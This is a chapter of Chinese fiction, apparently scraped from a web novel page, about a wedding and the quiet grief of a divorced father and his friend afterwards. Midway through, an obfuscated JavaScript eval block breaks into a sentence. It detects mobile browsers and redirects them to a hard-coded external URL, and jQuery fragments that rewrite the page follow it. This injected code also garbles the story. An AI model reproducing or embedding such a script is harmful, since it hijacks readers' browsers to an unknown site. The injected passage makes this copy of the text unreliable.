四月十六号，王丽和李哥的婚礼。
房寨一大早就起来了。他穿了一件新衬衫，白色的，昨天在商场买的，花了两百多块，是他衣柜里最贵的一件。裤子是黑色的，旧的，但熨了一下，看着还挺精神。他在镜子前面站了一会儿，看了看自己。头发长了，该剪了。脸瘦了，颧骨有点凸。眼睛下面有黑眼圈，昨晚没睡好。
“行吧。”他对着镜子说了一句，然后出了门。
婚礼在城南的一个酒店里，不大，但很温馨。门口摆着一个红色的拱门，上面写着“王丽李明新婚庆典”。两边摆着花篮，百合和玫瑰，粉色的，白色的，很漂亮。有人在门口放鞭炮，噼里啪啦的，红纸屑飞得到处都是。房寨站在门口等了一会儿，等鞭炮放完了才进去。
大厅里摆了十几桌，坐满了人。大部分是王丽和李哥的亲戚朋友，房寨一个都不认识。他找了一个角落的位置坐下来，把红包放在桌上。红包里装着一千块钱，是他昨晚包的，写上了自己的名字。
张建国也来了。他坐在房寨旁边，穿了一件深蓝色的夹克，头发理过了，胡子刮了，看起来很精神。但他的眼睛很红，不知道是没睡好还是哭过。
“建国，你还好吧？”房寨问。
“还行。”张建国说，声音有点哑。
小月坐在张建国旁边，穿着一条白色的裙子，头发披着，头上戴了一个小花环，像一个小天使。她是今天的花童，负责给新娘撒花瓣。她手里提着一个花篮，里面装满了玫瑰花瓣，粉色的，红色的，白色的。
“小月，紧张吗？”房寨问。
“不紧张。”小月说，“妈妈说了，我只要走在她前面，把花瓣撒在地上就行了。”
“那你记得走慢一点，别走太快。”
“我知道。”小月说，“妈妈教过我。”
十点多的时候，婚礼开始了。音乐响起来，是《婚礼进行曲》，很庄重，很悠扬。所有人站起来，看着门口。王丽穿着白色婚纱，挽着李哥的胳膊，一步一步地走进来。她的头发盘起来了，上面插着几朵小花，白色的，很小，很精致。她的脸化了妆，眼睛很大，嘴唇很红，看起来和平时不一样，很漂亮，像电视里的人。
小月走在她前面，一把一把地撒花瓣。花瓣从花篮里飘出来，落在红地毯上，落在地上，落在空中，粉色的，红色的，白色的，像一场花雨。
房寨看着王丽走过来，心里说不出的滋味。他想起第一次在医院见到她的样子，瘦得不成样子，头发掉光了，脸上没有血色。他给她带了排骨汤，她喝了几口，说“好喝”。她看着他的眼睛里有光，那种光他见过很多次，每次见到都会心里发紧。后来她出院了，好了，能上班了，能照顾自己了。现在她穿着婚纱，挽着另一个男人的手，走进婚姻的殿堂。她幸福了。这就够了。
他转过头看了一眼张建国。张建国看着王丽，眼眶红了，但没有哭。他的嘴唇在微微颤抖，手攥着桌布，攥得指节发白。但他的表情是平静的，甚至带着一点笑意，那种“我祝福你”的笑意。
王丽和李哥走到台上，面对面站着。司仪问了很多问题，他们一一回答。交换戒指的时候，王丽的手有点抖，李哥帮她戴上了，动作很轻，很温柔。然后他们拥抱了，台下掌声雷动。
小月在台下鼓掌，鼓得很用力，小手拍得通红。张建国也鼓掌，鼓得很慢，一下一下的，像在完成一个任务。房寨也鼓掌，鼓得很认真，每一下都很用力。
敬酒的时候，王丽和李哥走到房寨这一桌。王丽端着酒杯，看着房寨，眼眶红了。
“房寨，谢谢你。”她说。
“别谢了。”房寨站起来，举着酒杯，“你幸福就好。”
王丽点了点头，眼泪掉下来了。她用手背擦了一下，然后看着张建国。
“建国，谢谢你。”
张建国站起来，举着酒杯。他看着王丽，嘴唇动了几下，想说什么，但没说出来。最后他说了一句：“你幸福就好。”
和王丽说的一样。
王丽哭了，李哥搂着她的肩膀，轻声说“别哭了”。张建国把酒喝了，坐下了。他的眼眶很红，但没有哭。他把酒杯放在桌上，手在微微颤抖。
小月在旁边看着这一切，不太懂大人在做什么。她只知道妈妈结婚了，穿得很漂亮，她很高兴。她跑到王丽身边，拉着她的手，说“妈妈你今天好漂亮”。王丽蹲下来，抱着她，哭了。小月不知道妈妈为什么哭，但她也跟着哭了。两个人抱在一起哭，哭得很伤心，但又是笑着的。
李哥在旁边看着，眼眶也红了。
房寨看着这一幕，喉咙很紧。他喝了一口酒，酒很辣，从喉咙一直烧到胃里。
婚礼结束之后，房寨和张建国一起回了店里。小月跟王丽和李哥走了，今天是她妈妈的大喜日子，她要陪妈妈。
店里没开门，门上贴着一张纸条：“老板参加婚礼，今天休息。”房寨把纸条撕下来，开了门。店里很安静，桌椅摆得整整齐齐，灶台擦得干干净净，冰箱嗡嗡地响。
张建国走进厨房，系上围裙，开始切菜。他切菜的声音很稳，刀起刀落，笃笃笃的，和平时一样。但房寨注意到他切出来的土豆丝比平时粗了一些，不那么匀了。
“建国，今天别干了，休息一天。”房寨说。
“不累。”张建国说，手里的刀没停。
房寨走过去，按住他的手。
“建国，休息一天。”
张建国看着房寨，看了几秒，然后放下了刀。他解了围裙，走到外面，坐在靠窗的位置上，看着窗外。窗外是那条小巷子，没什么人，只有一只猫蹲在墙头，舔着爪子。
房寨泡了两杯茶，端过来，在他对面坐下来。茶很烫，冒着白气，茶叶在杯子里浮浮沉沉，像水里的鱼。
“建国，你以后有什么打算？”房寨问。
张建国看着茶杯，看了一会儿。
“不知道。”他说，“继续在店里干活，照顾小月。”
“你不打算再找了？”
张建国摇了摇头。
“找不到了。”他说，“我这辈子就一个人了。”
房寨看着他，心里很难受。张建国才四十出头，不算老，但他好像已经老了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600774|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是身体老了，是心老了。他的眼睛里没有光了，那种光在他说“你幸福就好”的时候熄灭了，再也点不燃了。
“建国，你别这样。”房寨说，“你还有小月。”
“我知道。”张建国说，“我有小月就够了。”
他端起茶杯，喝了一口。茶很烫，他吸了一口气，把杯子放下。然后他看着房寨，忽然问了一句：“寨哥，你呢？你以后有什么打算？”
房寨愣了一下。他没想到张建国会反过来问他。
“我继续开店，还房贷。”他说。
“还完房贷之后呢？”
房寨沉默了。又是这个问题，阿坤问过，奶奶也问过，现在张建国也问。还完房贷之后呢？他不知道。他从来没想过那么远的事。
“不知道。”他说。
张建国看着他，笑了一下。那笑容很淡，像冬天的阳光，不暖，但存在。
“寨哥，你什么都好，就是不想以后。”
房寨知道他说得对。他太专注于眼前了，忘了看远处。他的眼睛一直盯着脚下的路，没抬起头看看前方是什么。房贷是他眼前最大的那座山，他每天都在爬山，爬得很累，但他不敢停下来，怕一停下来就再也爬不动了。他从来没想过，爬到山顶之后，山那边是什么。
“我会想的。”房寨说。
张建国点了点头，没再问了。两个人坐在那里，喝着茶，看着窗外的猫。猫从墙头跳下来，走了，消失在巷子深处。
晚上，小月来店里了。她换了一身衣服，穿了一件粉色的卫衣，头发散着，花环拿掉了。她跑到厨房门口，探进头来，喊了一声“爸爸”，然后又跑到张建国身边，拉着他的手。
“爸爸，妈妈今天好漂亮。”小月说。
“嗯，很漂亮。”张建国说。
“李叔叔对妈妈也很好。”小月说，“他给妈妈戴戒指的时候，手都在抖。”
张建国笑了。那笑容比下午的大了一些，真了一些。
“是吗？”
“嗯。”小月说，“爸爸，你以后也会结婚吗？”
张建国愣了一下。
“不会。”他说，“爸爸有你够了。”
小月看着张建国，想了想，然后说了一句让张建国眼眶发红的话。
“爸爸，等我长大了，我嫁给你。”
张建国蹲下来，抱着小月，抱了很久。他的肩膀在抖，但没有声音。小月不知道爸爸怎么了，她伸手拍了拍他的背，像大人哄小孩那样。
“爸爸不哭。”她说。
“爸爸没哭。”张建国松开她，擦了擦眼睛，“爸爸眼睛进东西了。”
小月从口袋里掏出一张纸巾，递给张建国。张建国接过纸巾，擦了擦眼睛，然后站起来，走进厨房，给小月做糖醋排骨。锅里的油热了，排骨下锅，刺啦一声，香味炸开。小月坐在椅子上，等着她的排骨，两只脚晃来晃去的，嘴里哼着歌，调子不准，但听着很开心。
房寨站在厨房门口，看着这一幕。他的眼眶有点热，但没有哭。他转过身，开始切菜。刀起刀落，笃笃笃的，声音很稳。